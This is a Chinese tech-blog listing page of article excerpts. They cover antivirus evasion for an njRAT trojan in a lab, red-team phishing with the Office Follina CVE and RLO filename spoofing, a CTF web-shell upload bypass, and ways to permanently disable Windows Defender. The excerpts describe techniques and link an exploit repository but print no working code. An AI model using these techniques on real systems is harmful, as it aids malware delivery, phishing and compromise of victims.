  • 绕过杀软(二)——免杀exe文件(360、火绒免杀)

    攻击机: win7 IP: 192.168.32.134 靶机: windows server 2012(安装360、火绒) IP: 192.168.32.133 第一步:使用njRAT生产一个客户端exe木马 输入回连端口号8888,点击start 配置客户端木马的回连地址:192.168.32.134 将文件保存在桌面 开启360杀毒,直接报毒,不免杀 1、将生成的客户端木马:

    2024年01月17日
    浏览(44)
  • 【红队APT】钓鱼篇&Office-CVE漏洞&RLO隐藏&压缩包释放&免杀打包捆绑

    经过免杀后的exe程序(xgpj.exe),进行重命名,在gpl位置插入Unicode控制字符,RLO(从左到右覆盖),如图 成功上线 后续修改图标,进行钓鱼伪装 演示环境:Winrar压缩软件 打包后进行RLO隐藏,主要是免杀问题 https://github.com/JohnHammond/msdt-follina 该漏洞首次发现在2022年5月27日,由白俄

    2024年02月13日
    浏览(35)
  • 封神台 第四章:进击!拿到Web最高权限(绕过防护上传木马)

    一、1.通过修改Cookie登录后台(没用重打)         2,上传SHELL!3,Flag在网站根目录(flag.php)         3.上传图片时建议上传小文件,建议用QQ表情         尤里通过XSS终于得到了管理员Cookie,在修改了cookie后尤里直接绕过了登录密码,         看到了后台功

    2024年02月07日
    浏览(37)
  • 【Windows Tips】关闭 Windows Defender

    一句话,Win10 家庭版 21H2,下载 qtkite/defender-control: An open-source windows defender manager. 提供的方案。 下面是我摸索的经过…… 由于电脑在运行某些程序时,由于 Windows Defender 的防护验证流程导致异常的卡顿,便试图关闭 Windows Defender。 先是照网络上最广为流传的方法,尝试在注

    2024年02月04日
    浏览(48)
  • Windows关闭Microsoft Defender服务

    Microsoft Defender默认处于开启状态,虽然可以提供一定的病毒防护,但是它在运行时会占用很多的内存,而且大多数杀毒软件都可以替代它的功能,下面说一下关闭Microsoft Defender的方法。 温馨提醒:虽然方法一只能暂时关闭,但后面两种方法都是建立在方法一上的, 建议先按

    2024年02月11日
    浏览(49)
  • 禁用Windows Defender - Win10

    Win10自带的Windows Defender有时会造成不少麻烦,最大的问题是它不会在删除文件之前让用户进行确认,而是自行将文件删除,甚至没有运行的exe文件也会被自动删除。本文以Win10系统为例,介绍如何禁用Windows Defender。 本文的解决方案有5种,分别为方案1:临时关闭;方案2:第三

    2024年02月04日
    浏览(45)
  • 如何在 Windows 10/11 中永久关闭 Windows Defender

    本文翻译自《How to Turn Off Windows Defender in Windows 11 Permanently》 Microsoft Defender在Windows 11中是默认的反病毒/恶意软件解决方案,就像它在Windows 10中一样。它保护你的计算机免受恶意软件和病毒威胁。尽管它是目前市场上最好的防病毒解决方案之一,但你仍然可能想为测试目的或

    2024年02月03日
    浏览(56)
  • Windows Defender无法关闭的红叉

    今天手动关闭Windows Defender处理了几个风险文件,结束再次打开Windows Defender后,任务栏一直显示红叉。打开后提示“发现威胁,需要采取措施。”(如图) 诡异的是无论采取何种措施(隔离或者删除),似乎都不能生效。尽管风险文件确实已经被彻底删除了,但相关提示一直

    2024年02月20日
    浏览(36)
  • Win11永久关闭Windows Defender实时保护

    同时按下Win和R键以打开运行对话框,输入 gpedit.msc ,单击确定按钮,打开本地组策略编辑器。  在左侧窗格中依次展开计算机配置-管理模板-Windows组件-Microsoft Defender防病毒 选中 【已启用】 “关闭Microsoft Defender 防病毒” 在Microsoft Defender防病毒列表中,双击打开实时保护目录

    2024年02月11日
    浏览(124)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包